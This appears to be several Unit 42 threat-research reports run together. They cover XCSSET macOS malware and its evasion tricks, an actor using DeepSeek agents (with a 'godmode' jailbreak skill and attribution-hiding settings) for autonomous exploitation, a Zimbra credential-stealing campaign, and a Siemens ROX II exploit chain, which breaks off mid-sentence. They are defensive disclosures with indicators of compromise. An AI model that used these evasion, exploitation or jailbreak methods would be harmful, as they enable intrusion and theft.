updates: Setting these values to false prevents the endpoint from automatically retrieving updates to crucial macOS signature databases like: XProtect MRT TCC This also prevents access to Apple's Rapid Security Response channel, which delivers emergency patches between full macOS releases. XCSSET v40 runs a constant loop that hinders the endpoint’s ability to send security-related data through the CloudTelemetryService process. This evasion method blocks the transmission of local security telemetry to Apple, ensuring that the operator's tooling is not sampled into subsequent XProtect signature releases. The malware spawns a Perl process that tries to acquire and hold access to the endpoint's YARA-rule database (XPdb). This exclusive file lock on the XProtect signature database ensures that if the endpoint does receive a security update, its content could not be written to disk. Prior XCSSET versions terminated module execution when the user denied AppleEvents automation prompts. XCSSET v40 instead invokes tccutil reset AppleEvents, which clears the user's TCC decision database for the AppleEvents service. It then reloads a TCC prompt, masquerading as System Settings or Xcode to trick the user into re-granting automation permissions to the malware's bundle ID. The subsequent automation request is treated as a first-time prompt, redisplaying the consent dialog. XCSSET v40 also attempts to avoid running on VMs. Upon execution of the stats module (one of the first modules downloaded to the machine), the module generates a set of checks on the machine’s CPU and hardware metadata. This check is to determine whether or not the infected endpoint is a VM. Once the module performs those checks, it calculates a final verdict ("Model Identifier suggests VM: false", "Result: likely physical") and ships the results over to the C2. Hosts reporting a virtual environment receive no further module deliveries, ensuring that automated sandboxes do not analyze XCSSET’s core logic. By analyzing XCSSET v40’s Uniform Resource Identifier (URI) structure and domain registration strategies, we were able to learn more about the timeline of the most recent campaign. We even found several operational security (OPSEC) failures that provided insights into the attacker’s strategies and capabilities. XCSSET v40 shows a clear pattern of URL endpoint structure throughout the campaign, assigning distinct functionality to each URI endpoint as shown in Table 1. Table 1. XCSSET v40 URI endpoint breakdown. XCSSET v40's C2 infrastructure reveals a distinct domain registration strategy. In early 2026, the attackers registered about 40 different domains in at least four short bursts across a small pool of IP addresses. The operator staged and aged these domains months before launching the attack wave, to bypass detection of newly registered domains. Geographically, the attackers’ targeting parameters and naming conventions have also evolved. While the 2025 campaigns relied on [.]ru (Russia) domains masquerading as legitimate content delivery networks (CDNs) and tech properties, the 2026 attack wave introduced [.]in (India) names registered alongside identical [.]ru siblings. This geographic infrastructure pivot aligns with recent victimology, matching our observations of XCSSET v40 targeting developers across South Asia. OPSEC Failures Despite mitigating detection risks by aging their domains, the attackers compromised their own campaign through poor OPSEC. Specifically, they cross-contaminated the IP addresses hosting those domains across different XCSSET campaigns. Furthermore, all four operator IP addresses are linked by a single shared SSL thumbprint (6e480d648fa1b70612f5d198a66875e28847547d), reused SSH keys and a shared self-signed remote desktop protocol (RDP) certificate. Defending against XCSSET v40 requires defenders to use real-time behavioral enforcement to flag runtime irregularities. Unit 42 suggests the following mitigations to detect and prevent this threat: Implement AI-enhanced process anomaly detection capable of flagging runtime irregularities, specifically monitoring for abnormal AppleScript instances Monitor browser launcher paths and block unauthorized file-write activity Identify and block the creation of abnormal local system defaults domains and their modification through the defaults utility Track ad hoc signed applications and untrusted local code signers, immediately isolating binaries that bypass native Apple Gatekeeper requirements Implement automated supply-chain dependency scanning to intercept poisoned open-source repositories before they are pulled into internal developer pipelines The latest XCSSET version demonstrates a persistent and specialized threat within the macOS landscape. Rather than relying on conventional delivery methods, the framework turns legitimate developer workstations into automated, self-propagating supply chain vectors. The discovery and analysis of XCSSET v40 reveals a modular framework for exfiltrating data, subverting system security and performing persistent browser hijacking. While the malware's historical reliance on AppleScript and bash stagers remains consistent, v40 introduces a significant technical evolution in defense evasion. By adopting a largely memory-resident and polymorphic architecture, XCSSET v40 leaves a minimal disk footprint. Because adversaries are now using AI-enhanced pipelines to generate polymorphic code on the fly, defenders must shift to AI-driven behavioral analysis to identify unusual or suspicious process chains and flag anomalous use of built-in detection mechanisms. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex XDR and XSIAM At the endpoint level, Cortex XDR blocks XCSSET on macOS hosts using Behavioral Threat Protection (BTP) to terminate fileless, in-memory execution chains—including suspicious osascript calls, multi-pass base64/xxd decoders, and process spawning from infected .xcodeproj build phases—while Advanced WildFire inspects and blocks payloads on disk. At the Security Operations level, Cortex XSIAM correlates these host-level detections with developer repository, network, and identity telemetry, providing SOC analysts with a unified attack narrative and automated playbooks to stop cross-environment supply-chain propagation. Advanced URL Filtering and Advanced DNS Security Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. accapple[.]ru adschecks[.]ru adschecks.ru adsmobi[.]ru adsmorein[.]in adsmoreme[.]in amdcdn[.]ru amzndev[.]in amzndev[.]ru amznprod[.]in applecdn[.]ru appledisk[.]ru appledns[.]ru applehosts[.]ru appletime[.]in bulksec[.]ru cdnamz[.]in cdnamz[.]ru cdnapple[.]in cdnatapple[.]ru cdnroute[.]ru checkcdn[.]ru chromeads[.]ru cnmag[.]ru devnetaps[.]ru dnsapple[.]ru dnsrelays[.]ru explorecdn[.]ru fiddlejoy[.]ru figmacat[.]ru figmanets[.]in funchats[.]ru gironetcdn[.]ru goalmate[.]ru googlenets[.]ru greencn[.]ru icloudsnet[.]ru imails[.]ru legalads[.]in littleads[.]in littledns[.]ru maganet[.]ru mindelgate[.]ru netapsdev[.]ru netcdnads[.]in netcdnamz[.]ru netcdndev[.]in netcorps[.]ru netsprot[.]in netsproto[.]in networkads[.]in rigacdn[.]in rigmajoys[.]in rigmanet[.]ru rigmanets[.]in sahusuzuki[.]in stuffdns[.]in testjoys[.]ru timewebnet[.]in vigmanet[.]ru whitead[.]in whiteads[.]ru wincdn[.]ru windsecure[.]ru C2 URLs - Chrome CDP Helper Binary hxxps[:]//amzndev[.]in/d/zw_sfp64 hxxps[:]//amzndev[.]ru/d/zw_sfp64 hxxps[:]//googlenets[.]ru/d/zw_sfp64 hxxps[:]//netcdndev[.]in/d/zw_sfp64 hxxps[:]//whitead[.]in/d/zw_sfp64 hxxps[:]//whiteads[.]ru/d/zw_sfp64 91.108.106[.]229 95.142.35[.]34 95.142.35[.]206 95.142.37[.]159 151.243.109[.]188 178.208.92[.]129 178.208.92[.]168 6e480d648fa1b70612f5d198a66875e28847547d XCSSET Mac Malware: Infects Xcode Projects, Uses 0Days – Trend Micro XCSSET evolves again: Analyzing the latest updates to XCSSET’s inventory – Microsoft New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects – Microsoft NetWire Analysis – Objective-See FruitFly Analysis – Objective-See Chrome DevTools Protocol– Developer The infection lifecycle of XCSSET v40 can be categorized into four phases, as detailed below. The infection lifecycle begins when a developer opens a poisoned Xcode project, typically downloaded from GitHub or built internally: The moment the developer builds the project locally, a malicious run-script phase executes silently in the background The malware dynamically scrambles its payload generation at compile time, switching between nested layers of Hex- and Base64-encoding This decoded script initiates contact with the attacker’s C2 infrastructure by executing a curl request to the /a with basic execution context (p=xcode_phase) to retrieve the next stage The retrieved staging payload runs a second, specialized curl command that collects and exfiltrates primary host metadata The payload queries the operating system type (uname -s) and the current username (whoami), transmitting these details back to the C2 endpoint If the C2 approves the host profile, it returns a bash script obfuscated via a custom substitution cipher. This script handles the high-risk task of staging the main loader while covering its tracks: The bash script performs deeper hardware fingerprinting, matching the host's serial number against targeted profiles It then pulls the primary malware loader to /tmp/r and compiles an accompanying AppleScript wrapper as /tmp/p.app on the fly To eliminate forensic evidence, the loader wrapper is executed in memory by osascript, which in turn downloads the main orchestrator module and its AppleScript loader After execution, the malware terminates osascript and deletes both /tmp/r and /tmp/p.app from the disk to minimize its forensic footprint Phase 4: Orchestrator and Core Logic Modules Once it erases its disk footprint, the malware transitions to a mostly fileless execution: The main orchestrator module named “boot” by the developers runs and retrieves additional module payloads from https:// /s/ Finally, the orchestrator pipes the payloads to the AppleScript to decrypt and execute the modules in memory This appendix maps the 17 modules identified in XCSSET v40. We correlated the canonical XCSSET v40 module names recovered through our decryption efforts with the terminology used in the three prior public reports. Please note that since XCSSET has gone through major architectural changes in v40, some modules’ logic may be expanded or split into different modules. It is also worth noting that previous reports of XCSSET did not decrypt the original module names, and therefore they appeared as jumbled strings.

Unit 42 identified an AI-enabled autonomous hacking campaign carried out by a Chinese-speaking threat actor. They targeted infrastructure using seven vulnerabilities, combining autonomous AI-driven enumeration with manual exploitation that achieved confirmed impact. The actor, operating under the aliases knaithe and KnYuan, leveraged DeepSeek, via the Hermes Agent framework, as their autonomous offensive operator. They orchestrated this operator via Telegram for the following activities: Independently enumerating targets and their vulnerabilities using FOFA Sourcing exploit tools Initiating attacks without human intervention In parallel with their use of DeepSeek as their autonomous operator platform, the actor configured multiple large language models (LLMs) (Qwen, GLM, Kimi, MiniMax). We also identified limited usage and testing of Western platforms. This includes Claude Code for connectivity testing and proxy validation. There were also signs of usage of Codex on exploit development directories. This limited usage is consistent with evaluating the AI-market to identify their preferred tool set. When initial exploitation failed due to the target environment's restrictive configurations, their Hermes Agent autonomously conducted searches for known critical-severity Common Vulnerabilities and Exposures (CVEs). It initially surveyed 10 product families, scanning GitHub for trending proofs of concept (PoCs) and prioritizing vulnerabilities by attack surface. This research led the agent to pivot to higher-value vulnerabilities, the seven covered in Table 2 below. While the observed campaign had limited impacts, the workflow confirms a functional, end-to-end autonomous offensive capability. Palo Alto Networks customers are better protected from the threats described here through the following products and services: The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. We gained unique insights into this autonomous attack capability when the autonomous agent inadvertently exposed its infrastructure by starting a file server in its home directory. This revealed the full operational environment to our threat researchers. This visibility enabled us to understand their full tool set, how the attackers orchestrated multiple AI platforms and gave us a peek into their targeting. Based on our analysis of their session logs and configuration files, the actor primarily used the Hermes Agent with DeepSeek as its reasoning agent for the attack phase of this campaign. Their Hermes Agent conducted autonomous vulnerability enumeration, downloaded public exploit code from the internet and attempted exploits against targets. Additionally, the threat actor leveraged the following tools in a limited capacity, likely indicating an ongoing assessment of the AI market for their use cases: Claude Code: The actor only used this for connectivity testing and proxy validation. Session history (10 entries across three sessions) contained only /model checks, connectivity tests and one npm install request. Codex: There were signs of usage on exploit development directories, but the chat logs were not preserved. The actor marked their exploit development directories as trusted, granting full access to read, modify and execute code. Although we cannot verify actual usage because the actor configured their system to limit local response storage (disable_response_storage = true), the correlation between trusted directories and successful campaigns is notable. Qwen Code: There was minimal usage by the actor, including two sessions total. They configured multiple large language models (LLMs) (Qwen, GLM, Kimi, MiniMax), consistent with evaluating Chinese-market AI models. The actor configured four AI coding tools to remove client-side execution permissions. Note, this does not impact server-side controls for vendor-hosted platforms. They routed the two Western tools, Claude Code and Codex, through a third-party proxy service (code.newcli[.]com) to reduce traceability. The actor accessed DeepSeek and Qwen directly through their native API endpoints. The actor enabled anti-attribution settings on both tools. The actor configured Claude Code with CLAUDE_CODE_ATTRIBUTION_HEADER: "0" and CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", while they set Codex to disable_response_storage = true to limit response storage. Unit 42 did not recover any Codex chat logs from the exposed server. Note: This setting does not impact the retention of logging or safety signals in OpenAI’s safety systems. Table 1 summarizes each tool's configuration. Table 1. AI tool configurations. DeepSeek, operating through the Hermes Agent framework, served as the actor's primary offensive AI tool. Hermes Agent provided orchestration (terminal access, Telegram-based command and control, and the skills system) while DeepSeek served as the reasoning engine for code generation, vulnerability assessment, target selection and decision-making. The actor had customized Hermes Agent with three red-teaming skills: godmode: LLM jailbreaking, framework-bundled web-terminal-exploitation: unauthenticated WebSocket exploitation, custom-created fofa-cyberspace-search: a custom procedure template instructing DeepSeek to use the actor's fofoapi.py script for internet asset enumeration The actor also integrated the open-source FofaMap-Platinum-Full-Expert Model Context Protocol (MCP) server, which exposes: FOFA asset search Nuclei scan generation A DeepSeek-powered natural-language-to-FOFA query translator directly within the agent We recovered the following sequence in Figure 1 from a single Hermes Agent session (May 7, 2026). We were unable to recover additional operator input beyond the initial task. DeepSeek identified a Langflow vulnerability (CVE-2026-33017, CVSS 9.8) and autonomously attempted exploitation through the following steps: Downloading the public PoC exploit from GitHub Enumerating 84 Langflow instances via FOFA (title="Langflow") Running the PoC scanner (langflow_poc.py --scan-file langflow_targets.txt --threads 10) Identifying one vulnerable target (Langflow 1.3.4) The exploitation attempts failed because the vulnerability requires either auto_login enabled or a public flow ID and the target had neither. DeepSeek assessed the entire product as a low-value target: After abandoning Langflow, DeepSeek conducted autonomous research to identify a higher-value vulnerability. It surveyed deployment counts across 10 product families via FOFA, and then searched GitHub for trending 2026 CVE PoC repositories sorted by stars. DeepSeek evaluated each candidate by severity, deployment footprint and exploitability before selecting n8n: FOFA confirmed n8n as a high-value target: 647,017 instances globally; 25,209 in China. DeepSeek obtained the public n8n exploit PoC from the Chocapikk repository. The PoC chains two CVEs into an attack sequence requiring an unauthenticated form with file upload: CVE-2026-21858 (arbitrary file read, CVSS 10.0) CVE-2025-68613 (sandbox bypass to remote code execution (RCE), CVSS 9.9) The following are advisories from n8n: CVE-2026-21858 (patched in 1.121.0) CVE-2025-68613 (patched in 1.120.4) DeepSeek analyzed affected version ranges to identify exploitable targets: DeepSeek ran FOFA queries targeting Chinese n8n instances and probed targets for version and form endpoints. Three instances were confirmed to be running vulnerable versions (v1.18.0, v1.117.3, v1.108.2). One target exposed three form endpoints, but all required authentication: DeepSeek launched parallel scanning across 50-plus remaining Chinese targets. None had publicly accessible forms. The actor did not achieve exploitation. The recovered session data ends at this point. Separate from the autonomous AI campaigns, the actor conducted manual operations using conventional workflows (FOFA enumeration, custom Python scanners and direct exploitation) with confirmed impact. These included: Data exfiltration from three organizations via a Citrix NetScaler vulnerability (CVE-2026-3055) Command execution on 11 Marimo notebook instances (CVE-2026-39987) Java deserialization reverse shell attempts against nine Apache Tomcat servers (CVE-2026-34486) Reverse shell callbacks targeting three IKE VPN endpoints (CVE-2026-33824). Hermes Agent, responding to a Telegram command, started an HTTP file server (python3 -m http.server 8888) from the actor's home directory (/home/worker) rather than an isolated staging directory. This exposed the actor's entire workspace: AI tool configurations API keys Exploit scripts Target lists Bash history Hermes autonomous exploitation session logs The exposure was unintentional. The actor demonstrated operational security awareness elsewhere, having emptied exploit directories after use and disabled Codex conversation logging. The threat actor maintained active exploit tooling for seven vulnerabilities. The threat actor likely retrieved the tooling manually or they downloaded it from public repositories via the Hermes Agent during the autonomous scan -> download -> exploit cycles. Table 2 summarizes each vulnerability and the actor's method of engagement. Table 2. CVEs exploited or staged by the threat actor. The actor cloned a public repository (qassam-315/PAN-OS-User-ID-Buffer-Overflow-PoC) for CVE-2026-0300, a buffer overflow vulnerability in the PAN-OS User-ID Authentication Portal (Captive Portal). The cloned code is non-functional with placeholder values that cannot achieve code execution. No evidence of modification or execution was found. From our analysis and visibility, we identified that this actor attempted to exploit over 460 targets, leveraging a mix of autonomous and manual techniques. What’s interesting is that the actor appeared to allow DeepSeek to narrow the targeting scope, likely to conserve AI compute. For example, DeepSeek sampled approximately 100 IP addresses out of the 25,209 Chinese systems that FOFA scans identified with exposed n8n instances. Of those 100 systems, it probed roughly 40 unique IP addresses, checking their version via curl commands. While most of the systems were unreachable or non-responsive, DeepSeek found three with the vulnerable versions and attempted to exploit them automatically. This autonomous process of target identification, sampling and narrowing of scope is notable because the system executed hundreds of hours of manual targeting analysis in mere minutes, while also managing its own compute resources. Across all the exploitation attempts, both autonomous and manual, Unit 42 confirmed data exfiltration from three Citrix NetScaler targets (CVE-2026-3055) and command execution on 11 Marimo notebook endpoints (CVE-2026-39987). However, we reviewed evidence of batch exploitation against an unknown number of hosts that were listed in a file deleted by the actor prior to our analysis. The three successful exploitations had memory data exfiltrated through the Citrix NetScaler out-of-bounds memory read vulnerability (CVE-2026-3055). The actor searched the exfiltrated data for NetScaler authentication cookies (NSC_AAAC=), indicating session hijacking intent. The actor persistently targeted a government entity in Malaysia and they exploited it over multiple days with memory grooming parameters and maximum read attempts. The actor returned with proxy anonymization on subsequent attempts. The Chinese-speaking actor is based in Zhuhai, China, and operates as an opportunistic exploit operator and self-described binary security researcher. This assessment is supported by the actor’s GitHub activity, specifically their maintenance of 1DayNews, an automated vulnerability intelligence pipeline. This tool: Aggregates RCE disclosures from 17 sources (primarily network perimeter vendors) Leverages DeepSeek to filter for exploitability Distributes actionable alerts via Telegram The actor's broader activity is opportunistic, with confirmed victims spanning three countries and multiple sectors. The autonomous AI campaigns targeted Chinese domestic infrastructure indiscriminately. In contrast, the manual campaign against the Malaysian target demonstrated higher intent, including refined exploitation parameters and proxy anonymization sustained over multiple days. Our findings document a threat actor developing AI-augmented offensive capabilities that enabled them to dramatically increase the speed and scale of their campaigns. This research validates an emerging threat posed by AI-enabled attackers as they hone their autonomous attack processes to discover, assess, pivot and retarget without human intervention. Although these autonomous campaigns did not achieve full compromise of any of their intended targets, the findings carry several implications for defenders. Autonomous AI-driven attack cycles are operationally viable, and the margin of failure was narrow: Exploitation was prevented by target-side configuration requirements — the absence of prerequisite workflow configurations (Langflow) and authentication on form endpoints (n8n). Targets with weaker default configurations would have been susceptible. Threat actors are constructing persistent AI offensive infrastructure: Rather than using AI tools in isolation, this actor assembled an integrated environment — custom automation skills, MCP server integration, proxy anonymization, and Telegram-based command and control — designed to retain and reuse successful procedures across sessions. Threat actors follow the path of least resistance: For their autonomous attack engine, the actor selected a model with minimal safety controls (DeepSeek) accessed through an open-source framework with no client-side restrictions. The actor attempted to use Western models, but their provider-side controls likely limited their effectiveness for autonomous attacks. This likely led the actor to select the most permissive model for their campaign. Note: Our colleagues at OpenAI were able to confirm that their provider-side safeguards refused requests that violated their policies. They also confirmed that continued attempts led their safety systems to flag and disable an account they believe is linked to this campaign prior to our intelligence sharing with their team. Autonomous AI execution introduces novel operational security risks for threat actors: The same autonomous capability the actor developed for offensive use directly caused the exposure of the operation, producing forensic artifacts that would not have existed under manual execution. The significance of these findings lies in the trajectory rather than the outcome of any individual campaign. The actor is actively iterating — refining tool configurations, developing custom skills, establishing proxy infrastructure and executing autonomous attack cycles. The technical barrier to AI-augmented offensive operations is low and continues to decrease. Palo Alto Networks customers are better protected from the threats discussed above through the following products: To combat an attack in which an attacker takes advantage of software exploits or vulnerabilities, Cortex XDR employs Endpoint Protection Modules (EPM). Each EPM targets a specific exploit type in the attack chain. In addition, Cortex XDR and XSIAM help protect against post-exploitation activities using a multi-layer approach. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. Cortex Xpanse has the ability to identify exposed Langlow, n8n and Citrix ADC/Netscaler devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that these attack surface rules are enabled. Identified findings can be viewed in the incident view of Expander. These findings are also available for Cortex XSIAM/XDR/Cloud customers with the ASM license. Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block the attacks with best practices via the following Threat Prevention signatures 97030, 96882, 96855, 97044, 97046, 97251, 97177, and 510019. The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-enabled risks. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. NousResearch Hermes Agent — GitHub Chocapikk CVE-2026-21858 (n8n Ni8mare) — GitHub oscar-mine CVE-2026-33017 Exploit (Langflow) — GitHub qassam-315 PAN-OS CVE-2026-0300 Research — GitHub asaotomo FofaMap (Hx0 Team) — GitHub How n8n Handles Vulnerability Disclosure - and Why We Do It This Way — n8n.io

Unit 42 has observed a persistent cyberespionage campaign we track as CL-STA-1114. This activity cluster overlaps with activity from a Russian threat actor tracked by other vendors as Void Blizzard and LAUNDRY BEAR. The attackers behind this campaign targeted Zimbra webmail in organizations in the following sectors: Governments Defense Transportation Financial organizations across the following regions: - NATO member states - Ukraine - Commonwealth of Independent States (CIS) countries - Africa Unique to this campaign, the group leveraged zero-click phishing emails that exploit a vulnerability in the Zimbra Collaboration Suite (ZCS) webmail platform (CVE-2025-66376). The exploit automatically injects a malicious JavaScript payload without requiring recipient interaction. Once executed, the payload exfiltrates sensitive user data, including login credentials, email archives, and search histories. Threat actors continue to actively target unpatched ZCS instances using CVE-2025-66376. Palo Alto Networks customers are better protected from the threats discussed above through the following products: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. The attackers behind CL-STA-1114 have been active since at least 2024, and this campaign targeting Zimbra servers started in July 2025. Initial access starts with a phishing email that contains either an HTML attachment or embedded HTML in the message text. This lure is designed to catch recipients' attention with news headlines. Figure 1 shows an example of the lure used and a snippet of the underlying HTML code. The HTML text contains an obfuscated division with a Base64-encoded script (highlighted in red in Figure 1). The obfuscated section creates an invisible Scalable Vector Graphics (SVG) element that, upon loading, decodes the Base64-encoded script into a JavaScript payload that it injects into the victim’s browser. When executed, this JavaScript exfiltrates the victim’s Zimbra webmail data to a hard-coded command and control (C2) server. Exfiltrated data includes: CSRF tokens Email address and password Two-factor authentication (2FA) scratch codes System and environment details The victim’s last 90 days of email and search history Over the course of this campaign, we observed minimal changes to the JavaScript payload. Figure 2 illustrates the attack chain. Since we began tracking this campaign, there have been at least nine IP addresses and nine domains for the C2 servers. These servers were active for an average of 35.4 days. See the Indicators of Compromise (IoC) section for a list of the IP addresses and domains used in CL-STA-1114 activity. This campaign activity in CL-STA-1114 illustrates the persistent and evolving threat of state-sponsored cyberespionage. The attacker behind this activity targets widely used mail platforms like Zimbra, posing a risk to critical industries globally. This research highlights the need for vigilance, proactive patching and advanced threat detection to protect organizations. Network administrators, defenders and security researchers should patch vulnerable systems and use the IoCs below to investigate and strengthen defenses against CL-STA-1114 and similar activity. Palo Alto Networks customers are better protected from the threats discussed above through the following products: The Cortex Advanced Email Security module routes suspicious HTML attachments to Advanced WildFire for static and dynamic analysis. This ensures that by the time an endpoint opens the attachment, it has already been scanned, allowing the agent to immediately act on a known verdict. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. IP addresses 37.120.247[.]228 64.226.124[.]190 104.248.134[.]194 185.86.79[.]95 193.238.152[.]66 194.156.103[.]193 216.252.238[.]18 216.252.238[.]64 216.252.238[.]104 Domains analyticemailmeter[.]com emailanalytics[.]com[.]ua istc-cloud[.]com mailnalysis[.]com synacorzimbra[.]nl zimbra-metadata[.]com zimbrastat[.]com zimbrasoft[.]com[.]ua zmailanalytics[.]com

We conducted this research in close partnership with Siemens, reflecting our shared commitment to advancing the security and resilience of critical infrastructure. This report details a critical, chained exploit comprising three zero-day vulnerabilities (CVE-2025-40948, CVE-2025-40947, and CVE-2025-40949) discovered in Siemens ROX II operational technology (OT) switches. Successful exploitation of this chain would allow an attacker to achieve full privilege escalation and persistent root-level access on these devices, which are critical components of industrial control networks. The vulnerabilities range from Medium to Critical severity, with CVSS 3.1 scores of 6.8 (CVE-2025-40948), 7.5 (CVE-2025-40947), and 9.1 (CVE-2025-40949). The attack vector proceeds in three stages, escalating from reconnaissance to complete system compromise: Arbitrary file disclosure (CVE-2025-40948): An attacker leverages an insecure configuration of the xz utility, which executes with root privileges, to read any file on the switch’s file system. This vulnerability enables initial reconnaissance that could reveal critical information such as sensitive configuration files, password hashes and private cryptographic keys. Privilege escalation via command injection (CVE-2025-40947): This critical flaw resides in the feature key validation function. The function fails to sanitize an attacker-controlled payload before inserting it directly into a command executed with root privileges. Exploiting this allows for direct command injection and full root access. Persistent root code execution (CVE-2025-40949): Following privilege escalation, the final vulnerability is exploited in the switch’s web management task scheduler. Improper input sanitization allows an authenticated attacker to inject malicious commands into the system’s root cron table. This establishes persistent code execution, surviving system reboots and maintaining full control. These vulnerabilities could collectively transform a vital network security device into a platform for malicious activity, severely threatening the integrity and availability of the industrial network. Siemens has released security advisories SSA-973901, SSA-078743 and SSA-081142 to address these issues, which recommend that customers update their affected ROX II devices to firmware version V2.17.1. Palo Alto Networks customers are better protected against these threats through the following products and services: Virtual patching detection signatures available via the Next-Generation Firewall with Advanced Threat Prevention OT Device Security If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. The Palo Alto Networks OT Threat Research Lab and Siemens partnered to advance the security and resilience of critical infrastructure through collaborative vulnerability research on the Ruggedcom ROX II platform. We combined the OT Threat Research Lab’s expertise in industrial cybersecurity research with Siemens’ deep product knowledge and the coordination capabilities of Siemens ProductCERT. These teams worked together to identify, validate, remediate and responsibly disclose security vulnerabilities. This collaboration reflects the growing importance of industry partnerships in securing OT environments. As critical infrastructure enters the AI era, organizations must work together more closely than ever to address emerging threats, accelerate vulnerability remediation and strengthen the security of the technologies that support essential services worldwide. This partnership demonstrates how coordinated research and responsible disclosure can help build a more resilient and secure future for critical infrastructure. The modern OT environment is a complex network of devices working in concert. At the heart of this connectivity are OT switches, which act as the nervous systems of industrial networks, directing communication between critical assets like human-machine interfaces (HMIs) and programmable logic controllers (PLCs). Protecting the integrity and availability of these switches is paramount for any industrial operation, be it a factory floor or a power plant. For instance, a properly configured OT switch provides crucial network segmentation, which enhances security by isolating different parts of the network while still allowing necessary communication. However, OT switches designed to secure the network can themselves become attack surfaces. A common misconception is that because these devices are often air-gapped or sit on isolated networks, they’re inherently safe. In reality, they are just as susceptible to software vulnerabilities as any other IT equipment, allowing an unprivileged attacker to exploit software flaws, escalate privileges and disrupt OT communication. This threat research article demonstrates how seemingly benign flaws can be exploited to initiate a chain of events. In this case, this could lead to full control of the critical OT switch operating system ROX II. The first vulnerability, CVE-2025-40948, is an arbitrary file disclosure vulnerability. While not immediately devastating, this flaw provides vital intelligence by revealing sensitive information on the switch operating system (OS), from password hashes to network topology data. This initial foothold is a crucial step in a sophisticated attack. The second vulnerability, CVE-2025-40947, is the pivotal privilege escalation flaw. We identified this vulnerability by carefully analyzing the switch’s feature key functionality, a mechanism designed to unlock optional capabilities. By reverse-engineering this feature, we discovered a way to exploit its internal logic and gain root access. This vulnerability grants an attacker total control, bypassing available security measures and transforming the switch into a platform for malicious activity. The third vulnerability, CVE-2025-40949, solidifies the attacker’s control by exploiting the switch’s task scheduling functionality. An authenticated attacker can schedule malicious scripts to run with root privilege at predetermined intervals, ensuring persistence even after a reboot. This allows for ongoing malicious activity, such as data exfiltration or denial-of-service attacks, making the compromise difficult to detect or remove. Exploit Chain Part 1: Exploiting CVE-2025-40948, Then Misusing xz for File System Information Disclosure During the initial analysis of the switch’s publicly available firmware, we worked with Siemens researchers and located a key configuration file associated with a privileged daemon. This file is used by a management and configuration daemon running with root privileges on the switch’s operating system. As a root-privileged process, it can perform any action on the system, including reading and writing any file. The xz command is a common Linux utility primarily used for compressing files into the XZ format with a highly effective compression algorithm. However, xz can be used with specific parameters to function like the standard Linux cat command, which is used to print files to standard output. By supplying the parameters -f, -c and -d at the same time, an attacker can instruct xz to view file contents. The CVE-2025-40948 vulnerability lies in the privileged daemon executing the xz command with user-provided parameters. Since the process runs as root, an attacker can pass any file path to xz, allowing it to read any file on the file system, including those normally inaccessible to regular users. This insecure configuration creates a significant arbitrary file disclosure vulnerability. An attacker can leverage this to: Read sensitive configuration and system files containing credential information Access private keys or other cryptographic materials Gather information about the system and network, paving the way for further attacks In the case of the ROX II switch, this oversight would have allowed an attacker to leak the contents of any file on the file system. This highlights the importance of carefully vetting all commands executed by privileged processes and ensuring that user input is never used to construct commands insecurely. To understand CVE-2025-40947, we must first understand how the Siemens feature key mechanism works. A feature key is a cryptographically signed license that enables specific functionalities on the switch. When a customer purchases a license, Siemens provides a signature (i.e., the feature key) that the customer installs on the device. The switch then uses a pre-installed public key to verify the feature key’s authenticity and enable the corresponding features. This process is intended to be secure, but our analysis revealed a critical flaw in its implementation. By reverse engineering the feature key handling library (responsible for installation), we identified the CVE-2025-40947 vulnerability in its signature verification function. This function is responsible for validating the signature provided in the feature key. The function involves three important steps: Read and parse: The function reads from the feature key file and parses a signature line containing up to a fixed number of characters Command preparation: It then prepares a Linux command to verify the signature using the gpgv utility, inserting the parsed signature string directly into the command Command execution: Finally, it executes the constructed command using system() with root privileges The code excerpt in Figure 1 shows how the signature is copied into the command string before being executed. This is the root cause of the command injection vulnerability, as there is no sanitization or validation of the input signature before it is inserted into the command string. To exploit this vulnerability, an attacker needs to craft a payload that fits within the signature field size limit. The exploitation process involves two main steps: File upload: The attacker first uses the web UI’s normal file upload functionality for a feature key to upload a malicious script (e.g., a Python reverse shell) to a writable directory on the switch. Command injection: Next, the attacker crafts a new feature key file where the signature field contains a command injection payload. This payload is designed to execute the malicious script that was previously uploaded. For example, a 